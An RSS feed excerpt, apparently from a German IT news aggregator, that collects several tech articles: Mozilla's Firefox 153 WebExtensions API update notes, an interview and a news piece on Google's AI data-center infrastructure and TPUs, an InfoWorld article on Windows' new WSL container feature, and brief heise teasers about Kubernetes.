<content:encoded><![CDATA[<p>We had a bumper release of <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/153#changes_for_add-on_developers">WebExtensions API updates in Firefox 153</a>. To start, there is a permissions change that affects how your extensions access local files. We then have two contributions from the community members: <span>userScripts.execute()</span> and the new <span>publicSuffix</span> API. We’re covering those contributions in more depth, including the people behind them, in a separate post. And there is more, read on…</p>
<h3><b>File access now requires a dedicated permission</b></h3>
<p>Extensions that need to read <span>file://</span> URLs used to get that access as part of the “Access your data for all websites” host permission. Starting in Firefox 153, file access is a separate, explicit permission, “Access local files on your computer”, shown in the extension’s permissions settings. It’s off by default for every extension, including ones already installed.</p>
<p>This change has a few concrete effects on code:</p>
<ul>
<li><b>Before:</b> an extension with <span>&lt;all_urls&gt;</span> or a matching host permission could read <span>file://</span> pages without any additional grant, and <span>extension.isAllowedFileSchemeAccess()</span> always returned <span>false</span> regardless of the permission setting.</li>
<li><b>After:</b> the extension must have the new file-access permission granted, and <span>extension.isAllowedFileSchemeAccess()</span> correctly reflects whether the user has granted it.</li>
</ul>
<pre>async function checkFileSchemeAccess() {
  const isAllowed = await browser.extension.isAllowedFileSchemeAccess();

  if (!isAllowed) {
    await browser.notifications.create("file-scheme-access-needed", {
      type: "basic",
      iconUrl: browser.runtime.getURL("icons/icon-48.png"),
      title: "Local file access required",
      message:
        'This extension needs "Allow access to file URLs" enabled to work ' +
        "with local files. Go to about:addons → select this extension → " +
        "turn on that setting, then reload the page.",
    });
    return false;
  }

  return true;
}</pre>
<p><span>devtools.inspectedWindow.eval()</span> calls targeting <span>file://</span> URLs are affected the same way; they now require this permission to succeed.</p>
<p>If your extension depends on <span>file://</span> access, expect existing users to see that access stops after upgrading (until they enable the permission), and consider adding a prompt or fallback path, for example by specifying an embedded options page (<span>options_ui</span>) and calling <span>browser.runtime.openOptionsPage()</span> to open <span>about:addons</span> and including instructions to toggle the setting in the “Permissions and data” tab.</p>
<h3><b>userScripts.execute() and publicSuffix: covered in our next post</b></h3>
<p>Firefox 153 adds two community-contributed APIs:</p>
<ul>
<li><span>userScripts.execute()</span>, which provides for one-off injection of one or more user script sources into a tab or frame, in a defined order, as a complement to the persistent, URL-pattern-based <span>userScripts.register()</span>.</li>
<li><span>publicSuffix</span>, which enables synchronous lookups against the browser’s built-in <a href="https://publicsuffix.org/">Public Suffix List</a> using <span>publicSuffix.isKnownSuffix()</span>, <span>publicSuffix.getKnownSuffix()</span>, and <span>publicSuffix.getDomain()</span>. This API means that extensions no longer need to bundle or maintain a suffix list to determine a hostname’s registrable domain (eTLD+1).</li>
</ul>
<p>Both APIs were built by contributors motivated by real needs in their extensions. We take an in-depth look at these contributions, their developers, impact, and history in a forthcoming post.</p>
<h3><b>documentId support across more APIs</b></h3>
<p>Firefox 153 introduces <span>documentId</span>, a stable identifier for a document instance, including a new <span>runtime.getDocumentId()</span> method, several <span>webNavigation</span> events and methods, <span>webRequest</span> events, scripting injection targets, and the extension messaging APIs.</p>
<p>Many WebExtension APIs use <span>tabId</span> and <span>frameId</span> to identify where to perform an operation. However, because <span>frameId</span> identifies the frame rather than its content, the loaded document can change and the extension’s subsequent operation ends up targeting the new (intended) document. <span>documentId</span> addresses this problem by providing a unique ID for the document. Now, if an extension uses the ID and the frame’s document has changed, the operation fails rather than silently targeting the wrong document.</p>
<p>See <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Work_with_documentId">Work with documentId</a> for the full list of supported events and methods, along with guidance on using it.</p>
<h3><b>Content scripts can read and modify adopted stylesheets</b></h3>
<p>Content scripts can now access <span>document.adoptedStyleSheets</span> and <span>ShadowRoot.adoptedStyleSheets</span> directly.</p>
<pre>const sheet = new CSSStyleSheet();
sheet.replaceSync("* { background: pink; }");
document.adoptedStyleSheets = [sheet];</pre>
<p>This enables extensions to inspect or modify constructed stylesheets from a content script, without using <span>.wrappedJSObject</span>, a workaround that risks interference from the web page.</p>
<h3><b>Theme manifest key: gradients in additional backgrounds</b></h3>
<p>The <span>theme</span> manifest key’s <span>images.additional_backgrounds</span> property now accepts CSS gradients alongside image URLs. A new <span>properties.additional_backgrounds_size</span> property controls the size of each additional background item.</p>
<h3><b>Contextual identities (containers)</b></h3>
<p>If your extension supports contextual identities, you now have access to two new methods: <span>contextualIdentities.getSupportedColors()</span> and <span>contextualIdentities.getSupportedIcons()</span>. These methods return the supported colors and icons, so your extension doesn’t need to hardcode either list.</p>
<p>Also, the colors have been updated to align with the new UI theme: <span>“turquoise”</span> is now <span>“cyan”</span>, <span>“toolbar”</span> is now <span>“gray”</span>, and <span>“violet”</span> has been added. The old names still work for backward compatibility, but your extension should switch to using <span>getSupportedColors()</span> rather than hardcoding either the old or new names.</p>
<h3><b>Add a build-for-amo script</b></h3>
<p>While this isn’t about new APIs, I wanted to mention a change that’s part of our work to make source code review faster and more reliable. When you submit an extension version, AMO now attempts to build your extensions from the submitted source code and compares the result to the package you uploaded. When the two match, reviewers don’t have to verify the build manually. This means submission can move through its review faster.</p>
<p>For now, this applies only if you submit source code that includes a <span>package.json</span> file to build your extension. If your extension has no build step, or you use a different build system, nothing changes. The AMO builder keeps its zero-config approach.</p>
<p>So, if your extension’s source code uses a <span>package.json</span> file, add an <a href="https://docs.npmjs.com/cli/v11/using-npm/scripts">npm script</a> named <span>build-for-amo</span> that runs the commands needed to build your extension for Firefox:</p>
<pre>{
  "scripts": {
    "fx-build": "some commands to build your add-on for Firefox",
    "build-for-amo": "npm run fx-build"
  }
}</pre>
<p>If you’ve a Firefox-specific build command, just point <span>build-for-amo</span> at it. When present, the builder invokes this script instead of guessing how to build your extension. And while you are at it, make sure all your dev dependencies are listed in the <span>package.json</span> file.</p>
<hr>
<p>For more information, including documentation and Bugzilla links, see the <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/153#changes_for_add-on_developers">Changes for add-on developers</a> section of the Firefox 153 for developers release notes on MDN.</p>
<p>As always, file extension-related issues on <a href="https://bugzilla.mozilla.org/">Bugzilla</a> under the WebExtensions product, cross-browser API proposals are discussed in the <a href="https://github.com/w3c/webextensions">W3C WebExtensions Community Group</a>, and questions are welcome on the <a href="https://discourse.mozilla.org/c/add-ons/35">Add-ons Discourse</a>.</p>
<p> </p>
<p>The post <a href="https://blog.mozilla.org/addons/2026/07/23/firefox-153-webextensions-api-updates/">Firefox 153 WebExtensions API updates</a> appeared first on <a href="https://blog.mozilla.org/addons">Mozilla Add-ons Community Blog</a>.</p>]]></content:encoded>
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<title><![CDATA[Q&A: Google’s AI and computing chief talks about its shapeshifting data centers]]></title>
<description><![CDATA[Google’s AI offerings span its internal and cloud offerings. Its data centers are processing seven times more AI tokens compared to last year. To keep up, Google is upgrading its data-center hardware and software technologies at a faster clip. It plans to raise $80 billion to build new data cente...]]></description>
<link>https://tsecurity.de/de/3689101/it-security-nachrichten/qa-googles-ai-and-computing-chief-talks-about-its-shapeshifting-data-centers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689101/it-security-nachrichten/qa-googles-ai-and-computing-chief-talks-about-its-shapeshifting-data-centers/</guid>
<pubDate>Thu, 23 Jul 2026 14:55:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Google’s AI offerings span its internal and cloud offerings. Its data centers are processing seven times more AI tokens compared to last year. To keep up, Google is upgrading its data-center hardware and software technologies at a faster clip. It plans to raise $80 billion to build new data centers. (See related story: <a href="https://www.networkworld.com/article/4200581/google-transforms-its-data-center-architecture-for-agent-era.html">Google transforms its data center architecture for agent era</a>)</p>



<p class="wp-block-paragraph"><em>Network World</em> spoke with <a href="https://www.linkedin.com/in/marklohmeyer/">Mark Lohmeyer</a>, vice president and general manager of AI and computing at Google, about how the company’s infrastructure is keeping pace with AI demand.</p>



<p class="wp-block-paragraph"><strong>Network World: What is the primary shift in infrastructure needs?</strong></p>



<p class="wp-block-paragraph"><strong>Mark Lohmeyer:</strong> We’ve seen the <a href="https://www.networkworld.com/article/4175890/cisco-ai-traffic-is-radically-reshaping-wans.html">rise of agents and agentic use cases</a>. Years ago, it was the chat phase: Ask a question, get an answer. Now we’re in the agentic era, where you express your intent, agents spin off multiple sub-agents, working in parallel, preserving state. This is a radical shift in what infrastructure needs to do; make them fast, cost effective, secure, reliable. We’re delivering infrastructure optimized for the age of agents.</p>



<p class="wp-block-paragraph"><strong>NW: What’s the goal of the infrastructure buildout, and what should customers expect regarding costs?</strong></p>



<p class="wp-block-paragraph"><strong>ML: </strong>Ultimately, it’s about enabling customers with leading-edge capabilities and models at scale cost-effectively. With agents, <a href="https://www.networkworld.com/article/4057121/network-and-cloud-implications-of-agentic-ai.html">inference transactions increase</a> by 50x, 100x versus non-agentic workloads. We’re driving the cost per transaction down exponentially. In our latest platforms, we reduce the cost by almost 2x for the same work. Customers serve twice the number of users at the same cost, directly driving profitability.</p>



<p class="wp-block-paragraph"><strong>NW: How are you addressing energy efficiency?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Energy is a critical resource, and Google has optimized for years. We design data centers and compute [to drive] high PUE (power usage effectiveness). We introduced <a href="https://www.networkworld.com/article/4149069/why-ai-rack-densities-make-liquid-cooling-nonnegotiable.html">liquid cooling</a> over five years ago, and these latest systems are all liquid cooled. For agentic workloads, CPUs come to the forefront… orchestrating agents, calling tools, doing evaluation loops in reinforcement learning. Our latest Axion-based CPU platform called <a href="https://www.networkworld.com/article/4086182/google-cloud-aims-for-more-cost-effective-arm-computing-with-axion-n4a.html">N4A</a> has energy efficiency and is significantly better than the prior generation and x86 comparables.</p>



<p class="wp-block-paragraph"><strong>NW: How do you think about token efficiency as you build-out systems?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Performance and efficiency gains are powered by co-design of the model and infrastructure. <a href="https://www.computerworld.com/article/4161990/gemini-enterprise-update-brings-ai-agents-into-collaborative-workflows.html">Gemini</a> is trained on TPUs, primarily served on TPUs with high frontier model capability, in a token and cost-efficient way. This stems from co-design across the full stack.</p>



<p class="wp-block-paragraph"><strong>NW: How do you project what infrastructure will be needed years in advance?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Hardware cycles deliver a new next generation roughly every year, but design cycles are two years or more in advance. We work with <a href="https://deepmind.google/about/">DeepMind</a> doing core research, to application teams taking models into production, to billions of users, to our team building infrastructure. We work upstream with DeepMind and application teams to understand what’s coming. Agents weren’t being broadly spoken of externally, but internally we had those insights around what they would need. That shows up in hardware design. We hit the timing right — these platforms are built for agents.</p>



<p class="wp-block-paragraph"><strong>NW: What’s the eighth generation TPU platform?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> We deliver new platforms every year, and ones launched years ago are close to 100% utilized because demand for AI-optimized compute is high. The <a href="https://www.networkworld.com/article/4162004/google-bets-on-workload-specific-tpus-with-8t-and-8i-launch.html">eighth-generation TPU platform</a> is the first delivering two complete systems, from the chip all the way up to the network and storage and software, that are optimized.</p>



<p class="wp-block-paragraph"><a href="https://cloud.google.com/blog/products/compute/tpu-8t-and-tpu-8i-technical-deep-dive">TPU-8t</a> is optimized for training, and TPU-8i is optimized for inference. For TPU-8i, we increased SRAM on the chip to 384MB — three times the prior generation — and increased the HBM by 50%.</p>



<p class="wp-block-paragraph"><strong>NW: How are you approaching GPU and TPU compatibility?</strong></p>



<p class="wp-block-paragraph"><strong>ML: </strong>People in a single cluster do not commingle GPUs and TPUs. We offer both options based on specific workload needs. We’ve been investing on the TPU side in using software frameworks customers are comfortable with on GPUs and enabling those on TPUs. For example, <a href="https://www.infoworld.com/article/2335194/what-is-pytorch-python-machine-learning-on-gpus.html">PyTorch</a> and vLLM. Customers could have a pool of GPUs and TPUs, running vLLM on top of that. Start with a workload on TPUs, but if the TPU pool is fully utilized, spill to GPUs or vice versa. This works because it’s all leveraging the same compatible software layer on top.</p>



<p class="wp-block-paragraph"><strong>NW: How has the orchestration platform changed for agents?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Kubernetes is becoming the orchestration platform of choice for AI. Google is transforming <a href="https://www.infoworld.com/article/2255921/gke-tutorial-get-started-with-google-kubernetes-engine.html">GKE</a> [Google Kubernetes Engine] into an agent-native orchestration solution. When expressing intent to an agent and it spins up multiple sub-agents, compute needs to spin up rapidly — TPUs or GPUs — without long delays, then run and spin back down. We’re optimizing at every layer of the <a href="https://cloud.google.com/kubernetes-engine">GKE stack</a>: significantly improving node startup time and how rapidly we start and stop containers. Lovable demonstrates this with GKE, spinning up hundreds of sandboxes for live coding sessions on their platform in parallel, paying for infrastructure when needed.</p>



<p class="wp-block-paragraph"><strong>NW: What is the role of the network and storage infrastructure?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> The network is critical for AI. This requires creating large-scale clusters of GPUs or TPUs and enabling them to talk to each other in a high-performance way. <a href="https://cloud.google.com/blog/products/networking/introducing-virgo-megascale-data-center-fabric">We created the Virgo network</a> — a collapsed network architecture, non-blocking within a data center, where multiple pods or NVLink72 domains connect together.</p>



<p class="wp-block-paragraph">In TPU8T, we can connect over a million TPUs together leveraging Virgo, creating large-scale, high-performance, reliable clusters that shrink innovation cycles. Storage is equally critical. In large-scale clusters, something is always failing. The ability to take snapshots and go back to a checkpoint is important.</p>



<p class="wp-block-paragraph">We’ve introduced <a href="https://cloud.google.com/products/managed-lustre">Managed Lustre 10T</a>, with 10 terabytes per second of bandwidth, 18 petabytes of storage in single clusters. This is 10 times faster than last year and 20 times faster than competition. We have Rapid Bucket, low-latency storage backed by Google storage systems. Both are impactful in large-scale training environments.</p>



<p class="wp-block-paragraph"><strong>NW: How does KV cache strategy differ between training and inference?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> For <a href="https://blog.google/innovation-and-ai/infrastructure-and-cloud/google-cloud/eighth-generation-tpu-agentic-era/">TPU-8i</a>, we increased SRAM on the chip to 384 megabytes — three times the prior generation — and increased the HBM by 50%. Storing KV cache directly in chip memory allows responding to inference requests much more rapidly and cost-effectively than going to an external system. For inference workloads, storing as much KV cache as possible on-chip is critical.</p>



<p class="wp-block-paragraph">We’re introducing a dedicated KV cache storage subsystem that works across GPUs and TPUs. As KV caches get larger, being able to fall back to this dedicated subsystem becomes critical. Loading model weights rapidly is important in dynamic inference environments where accelerators switch between models hour by hour.</p>
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<title><![CDATA[Google transforms its data center architecture for agent era]]></title>
<description><![CDATA[Google’s data center team is racing to turn its infrastructure into a well-oiled machine for AI and the onslaught of agents. At this year’s Google I/O, CEO Sundar Pichai shared startling numbers: Google’s data centers processed about 3.2 quadrillion tokens a month, roughly seven times more than t...]]></description>
<link>https://tsecurity.de/de/3689013/it-security-nachrichten/google-transforms-its-data-center-architecture-for-agent-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689013/it-security-nachrichten/google-transforms-its-data-center-architecture-for-agent-era/</guid>
<pubDate>Thu, 23 Jul 2026 14:23:05 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Google’s data center team is racing to turn its infrastructure into a well-oiled machine for AI and the <a href="https://www.networkworld.com/article/4175890/cisco-ai-traffic-is-radically-reshaping-wans.html">onslaught of agents</a>. At this year’s Google I/O, CEO Sundar Pichai shared startling numbers: Google’s data centers processed about 3.2 quadrillion tokens a month, roughly seven times more than the 480 trillion processed in May 2025.</p>



<p class="wp-block-paragraph">“Multiple agents work together, and now you’ve got millions, billions of users around the world potentially spinning off agents to help them do things,” said <a href="https://www.linkedin.com/in/marklohmeyer/">Mark Lohmeyer</a>, vice president and general manager for AI and computing infrastructure at Google.</p>



<p class="wp-block-paragraph">Google’s new data-center blueprint includes updated hardware, software, and orchestration layers to keep always-running agents operational.</p>



<p class="wp-block-paragraph">In the LLM era, users sent prompts and received responses, and Google’s infrastructure was designed for latency and throughput. But <a href="https://www.networkworld.com/article/4057121/network-and-cloud-implications-of-agentic-ai.html">agents could increase inference transactions</a> by up to 100 times non-agentic workloads, Lohmeyer said. Google’s redesigned AI data-center stack has the elasticity for agents to be widely distributed, run for long periods, and make decisions independently.</p>



<p class="wp-block-paragraph">“We’re delivering new platforms every year, each one optimized for what we think the world is going to need for the age of agents going forward,” Lohmeyer said.</p>



<p class="wp-block-paragraph">Efficient data flow is key so agents can act, reason, and decide faster. </p>



<p class="wp-block-paragraph">Google adjusted the <a href="https://www.infoworld.com/article/2255921/gke-tutorial-get-started-with-google-kubernetes-engine.html">Google Kubernetes Engine</a> into an agent-native environment, where agents could be quickly spun up in sandboxes and containers. “From an infrastructure perspective, you need to spin up a bunch of TPUs or GPUs very rapidly. Then you need to be able to run them and spin them back down,” Lohmeyer said.</p>



<p class="wp-block-paragraph">Google also made drastic improvements to its silicon to support its middleware changes. It recently <a href="https://www.networkworld.com/article/4162004/google-bets-on-workload-specific-tpus-with-8t-and-8i-launch.html">introduced new AI chips</a>, with the TPU-8t for training, and TPU-8i for inference. The 8t chip has three times more computing power than the previous-generation Ironwood chip. The 8i chip has 384 megabytes of SRAM and 288GB of HBM3e memory, which is 50% more than the previous-generation chip.</p>



<p class="wp-block-paragraph">The platform is optimized for KV cache (key-value cache), which stores important contextual information needed by agents to make decisions, which reduces the round trips to other memory and storage systems. “Being able to store more of the KV cache directly on the chip allows you to respond much more rapidly and cost-effectively,” Lohmeyer said.</p>



<p class="wp-block-paragraph">A new CPU called <a href="https://www.networkworld.com/article/4086182/google-cloud-aims-for-more-cost-effective-arm-computing-with-axion-n4a.html">Axion N4A</a> is more power efficient at agentic workloads such as orchestration and tool calling, Lohmeyer said.</p>



<p class="wp-block-paragraph">Google also made many network and storage improvements to cut training and inference time. A new technology called <a href="https://cloud.google.com/blog/products/compute/tpu-8t-and-tpu-8i-technical-deep-dive">TPUDirect</a> can move data from storage directly into the memory of the TPU quickly by bypassing any orchestration overhead, Lohmeyer said.</p>



<p class="wp-block-paragraph"><a href="https://cloud.google.com/blog/products/networking/introducing-virgo-megascale-data-center-fabric">A networking technology called Virgo</a> can coordinate 1 million TPUs across a widely distributed network. It can also link up GPUs such as Nvidia’s latest CPU-GPU package called Vera Rubin. “In the case of Vera Rubin, we’ll be able to connect up to 960,000 GPUs leveraging Virgo,” Lohmeyer said.</p>



<p class="wp-block-paragraph">A new technology called <a href="https://docs.cloud.google.com/ai-hypercomputer/docs/workloads/pathways-on-cloud/pathways-intro">Pathways</a> is a distributed training framework that efficiently scales machine learning across millions of TPUs and GPUs. Pathways solves bottleneck issues typically associated with JAX, and both help coordinate across wide networks.</p>



<p class="wp-block-paragraph">“The software to orchestrate these large-scale distributed training jobs is also just as important as the hardware that it runs on top of,” Lohmeyer said.</p>



<h2 class="wp-block-heading">Weighing Google’s AI data-center stack</h2>



<p class="wp-block-paragraph">Google is the only provider with its own data centers, software, hardware and models, said <a href="https://www.linkedin.com/in/jckgld/">Jack Gold</a>, principal analyst at J. Gold Associates. Google can optimize each on a regular cadence, which “many data centers can’t easily afford given the high cost of new chips,” Gold said.</p>



<p class="wp-block-paragraph">Google’s stack may not be best for every data center need compared to Nvidia’s general-purpose GPUs, CPUs, and networking. AWS and Microsoft are also creating their chips.</p>



<p class="wp-block-paragraph">“There is no real risk of Nvidia being replaced by Google in a big way. But with an ever-expanding market, there is plenty of room for all players,” Gold said.</p>



<p class="wp-block-paragraph">But <a href="https://www.linkedin.com/in/logan-wolfe/">Logan Wolfe</a>, partner at Kyndryl’s global AI strategy and sovereign transformation, advised enterprises to adopt a multi-cloud strategy to reduce risk from system failures, however superior an infrastructure may be. “I think that kind of hybrid and liquid infrastructure, we’re definitely getting there,” Wolfe said.</p>



<p class="wp-block-paragraph">The cost per token varies depending on the provider of inference, whether that’s Microsoft, Google, OpenAI or Anthropic. That will matter as AI moves from experimentation to a powerful tool that drives business changes.</p>



<p class="wp-block-paragraph">“Ultimately it really comes down to how much money are we spending on AI to move a certain business outcome,” Wolfe said.</p>
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<title><![CDATA[WSL container: A quiet revolution for Windows development]]></title>
<description><![CDATA[Running containers on Windows has never been as easy as it should be. While there are versions of Docker Desktop and Podman that work with both the Windows Subsystem for Linux (WSL) and Hyper-V, I’ve found both overly complex and unstable. Where they have worked, it’s turned out that Hyper-V has ...]]></description>
<link>https://tsecurity.de/de/3688476/ai-nachrichten/wsl-container-a-quiet-revolution-for-windows-development/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688476/ai-nachrichten/wsl-container-a-quiet-revolution-for-windows-development/</guid>
<pubDate>Thu, 23 Jul 2026 11:07:20 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Running containers on Windows has never been as easy as it should be. While there are versions of <a href="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html" data-type="link" data-id="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html">Docker Desktop</a> and <a href="https://www.infoworld.com/article/2335683/what-is-podman-and-will-it-replace-docker.html" data-type="link" data-id="https://www.infoworld.com/article/2335683/what-is-podman-and-will-it-replace-docker.html">Podman</a> that work with both the Windows Subsystem for Linux (WSL) and Hyper-V, I’ve found both overly complex and unstable. Where they have worked, it’s turned out that Hyper-V has been the best option, using a Linux virtual machine to host my containers. That all adds up to overhead, layers of virtual infrastructure that get in the way of work and that need to be rebuilt every time I restart my PC.</p>



<p class="wp-block-paragraph">Part of the problem is WSL. It’s a good tool, but WSL2’s file-system integration is slow, and you’re left having to work with code using Visual Studio Code’s remote integration, which means putting a <a href="https://code.visualstudio.com/docs/remote/vscode-server" data-type="link" data-id="https://code.visualstudio.com/docs/remote/vscode-server">VS Code Server</a> in every container you’re building and testing. If you’re working with <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html" data-type="link" data-id="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html">Kubernetes</a>, that’s even more complexity that needs to be managed, dragging you away from code.</p>



<p class="wp-block-paragraph">I ended up running most of my container testing and development from a separate machine, a Linux server running containerd. But though it worked (and had all the resources of workstation-class device), it wasn’t portable, and for some reason I’ve yet to uncover, Ubuntu’s remote desktop access doesn’t work for me.</p>



<p class="wp-block-paragraph">So, it was good to see Microsoft make several announcements around WSL at <a href="https://news.microsoft.com/build-2026/">Build 2026</a> as part of <a href="https://www.infoworld.com/article/4188967/making-windows-a-developer-platform-again.html">a push to make Windows a developer platform again</a>. The first, an improved WSL3, is still some way away, but the second, <a href="https://devblogs.microsoft.com/commandline/wsl-container-is-now-available-for-public-preview/">WSL-native container support</a>, shipped at the end of June. It is already seeing community-driven development of Docker Desktop-like tooling to help monitor and manage your containers.</p>



<p class="wp-block-paragraph">Delivering a WSL-based container platform fits in with the other developer-focused Windows announcements at Build. Making Windows behave more like Linux is Microsoft responding to developer needs, given that more than 50% of servers on Azure run a Linux distribution. Linux is the basis of cloud-native infrastructure, so developers need to be able to build on it wherever they are.</p>



<h2 class="wp-block-heading">Getting started with WSL container</h2>



<p class="wp-block-paragraph">WSL container provides a new CLI that works in parallel to the familiar WSL, with commands to support the entire container life cycle, from creation to shut down. All you need to do to get started is upgrade your WSL installation to the current pre-release build (at the time of writing this was 2.9.3). Simply open an administrator PowerShell terminal and enter <code>wsl --update --pre-release</code>.</p>



<p class="wp-block-paragraph">This downloads and installs the latest WSL release. Once you’ve closed and re-opened your terminal (to ensure that you’ve updated its context) you can check that WSLC has installed by entering <code>wslc</code>, which should <a href="https://learn.microsoft.com/en-us/windows/wsl/tutorials/wsl-containers" data-type="link" data-id="https://learn.microsoft.com/en-us/windows/wsl/tutorials/wsl-containers">list the available commands</a>. The new CLI is aliased to WSL container, if you prefer to keep your container work separate from WSL (and avoid typos that might accidentally affect your WSL installations).</p>



<p class="wp-block-paragraph">Under the hood Microsoft is using WSL container to trial new integration points for Linux in Windows. One key change is the use of a new file system that significantly speeds up access to Windows from inside a container. Another improvement gives WSL container a new networking mode that relays networking connections directly through the Windows network stack, ensuring it has access to the same resources and security as Windows.</p>



<h2 class="wp-block-heading">Calling Linux containers from Windows applications</h2>



<p class="wp-block-paragraph">Things get more interesting when you start to use the <a href="https://wsl.dev/api-reference/">WSL container API</a> from inside your Windows code. Here you can include calls to Linux containers inside your desktop applications, taking advantage of existing services, building and deploying containers from inside your CI/CD pipeline. Using the new file system and networking stack helps reduce the friction that comes with crossing the boundaries between the two platforms.</p>



<p class="wp-block-paragraph">The WSL container API is available as a NuGet package, with support for C, C#, and C++. It allows your code to start and stop containers, and interact directly with them, sending command-line calls and reading back responses. Where things get interesting is being able to launch a containerized service from your code, exposing its REST or gRPC APIs on a local network port. Microsoft has provided <a href="https://github.com/microsoft/WSL/tree/master/doc/samples">sample code</a> to show you what’s possible at this early stage.</p>



<p class="wp-block-paragraph">Microsoft is doing something revolutionary here. It’s taking the cloud-native, service-driven model and bringing it into Windows and using it to bridge decades of divergent development. You no longer have to rewrite a service that works on Linux to run in Windows; all you need to do is containerize the service and launch it from the WSL container API. When you’re done, the API will tidy up after you, shutting down the container and reclaiming the memory it used.</p>



<p class="wp-block-paragraph">It’s important to remember that this is only the first public preview of a rapidly developing platform. There are many opportunities here to, say, build on the syscall translation layer developed for WSL1 to produce a native Windows-to-Linux application integration stack that removes the overhead of using web-based service calls. It will be interesting to see what develops, but this first release is very interesting indeed.</p>



<h2 class="wp-block-heading">Manage Linux containers from Windows</h2>



<p class="wp-block-paragraph">If you want a Docker Desktop-like experience for building and testing containers on Windows developer hardware, you may not have long to wait. WSL container’s underlying API is already being used to build tools that manage and monitor containers for you. One such tool is the <a href="https://github.com/mhackermsft/wslcontainerdesktop" data-type="link" data-id="https://github.com/mhackermsft/wslcontainerdesktop">WSL Container Desktop</a>, under development on GitHub. While there aren’t any release builds yet, it’s easy enough to compile and get running by cloning the source repository and building using the .NET CLI. You do need to have the <a href="https://github.com/microsoft/windowsappsdk" data-type="link" data-id="https://github.com/microsoft/windowsappsdk">Windows App SDK</a> installed, and some features require access to the Azure CLI.</p>



<p class="wp-block-paragraph">WSL Container Desktop is built in C#, with a WinUI front end. It’s currently only verified for use on x64, though I was able to compile and run it on an Arm64 PC and use it to test and run containers. Once running, it gives you a well-designed front end for your WSL-hosted containers, showing what’s running and what resources they are using. You can link WSL Container Desktop to container registries, like Docker’s and Azure’s, so you can quickly pull base containers and then use the WSL container environment to add your own code and customizations.</p>



<p class="wp-block-paragraph">Your main interaction point is the WSL Container Desktop dashboard, which shows what containers are running and their current resource usage. Elements are displayed in cards, taking a cue from Windows’ own user interface and especially from its Settings app. From the dashboard, you can drill down into the available containers, with quick start, stop, and reload options, as well as an extended memory that includes the ability to open a web browser to the appropriate port. I tested this with a container that included an entire KDE webtop, giving me a Linux distro running in a container in my browser.</p>



<p class="wp-block-paragraph">Other options include a details view that displays current logs and provides tools for inspecting the state of a container. This is the type of tool that comes in useful when debugging and testing container applications, as it can provide insights that the WSL container CLI doesn’t offer. Another option helps you clean up after you’ve downloaded an image and don’t need it anymore, with analytics that show the largest images and images you haven’t used for some time. On top of its tooling for working with WSL containers, WSL Container Desktop provides a basic settings tool that helps you configure its look and feel, as well as how it integrates with Windows.</p>



<h2 class="wp-block-heading">Run Kubernetes inside Windows for cloud-native development</h2>



<p class="wp-block-paragraph">One of the more useful features of WSL Container Desktop is the ability to quickly stand up a <a href="https://k3s.io/" data-type="link" data-id="https://k3s.io/">K3s</a> Kubernetes instance in WSL that can be used to host WSL containers, providing a local environment to build and test cloud-native applications wherever you might be. The K3s tooling offers a similar experience to the Kubernetes project’s own <a href="https://www.infoworld.com/article/3964051/headlamp-a-multicluster-kubernetes-user-interface.html">Headlamp UI</a>, making it easy to go between your development environment and a production Kubernetes cluster.</p>



<p class="wp-block-paragraph">It’s fair to describe WSL container as one of those Windows features you didn’t think you needed, but now it’s here you can’t live without it. WSL container simplifies building a container development tool chain in Windows, and at the same time allows you to think about a new generation of hybrid applications that take advantage of decades of development in both Windows and Linux.</p>



<p class="wp-block-paragraph">The result is something that was unimaginable a few years ago: dropping a Linux container into the middle of a Windows application and treating it as another local service. As the WSL container platform evolves, you should expect to see more ways of bringing Linux and Windows together, using containers to deliver a hybrid platform that gives us the best of both worlds at long last.</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[heise+ |  GPU-Scheduling mit Kubernetes]]></title>
<description><![CDATA[Mit offenen Treibern für Nvidia-GPUs und Google-TPUs formieren sich neue Standards für die GPU-Orchestrierung in Kubernetes. Ein Beispielstac.]]></description>
<link>https://tsecurity.de/de/3688257/it-nachrichten/heise-gpu-scheduling-mit-kubernetes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688257/it-nachrichten/heise-gpu-scheduling-mit-kubernetes/</guid>
<pubDate>Thu, 23 Jul 2026 09:18:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Mit offenen Treibern für Nvidia-GPUs und Google-TPUs formieren sich neue Standards für die GPU-Orchestrierung in Kubernetes. Ein Beispielstac.]]></content:encoded>
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<title><![CDATA[heise-Angebot: Webinar von heise security: Deep-Dive in Kubernetes-Sicherheit]]></title>
<description><![CDATA[Kubernetes-Knowhow im Doppelpack für Admins und Sicherheitsverantwortliche: Von der Härtung des K8S-Clusters bis zur Verteidigung gegen Cyberkriminelle.]]></description>
<link>https://tsecurity.de/de/3688149/it-nachrichten/heise-angebot-webinar-von-heise-security-deep-dive-in-kubernetes-sicherheit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688149/it-nachrichten/heise-angebot-webinar-von-heise-security-deep-dive-in-kubernetes-sicherheit/</guid>
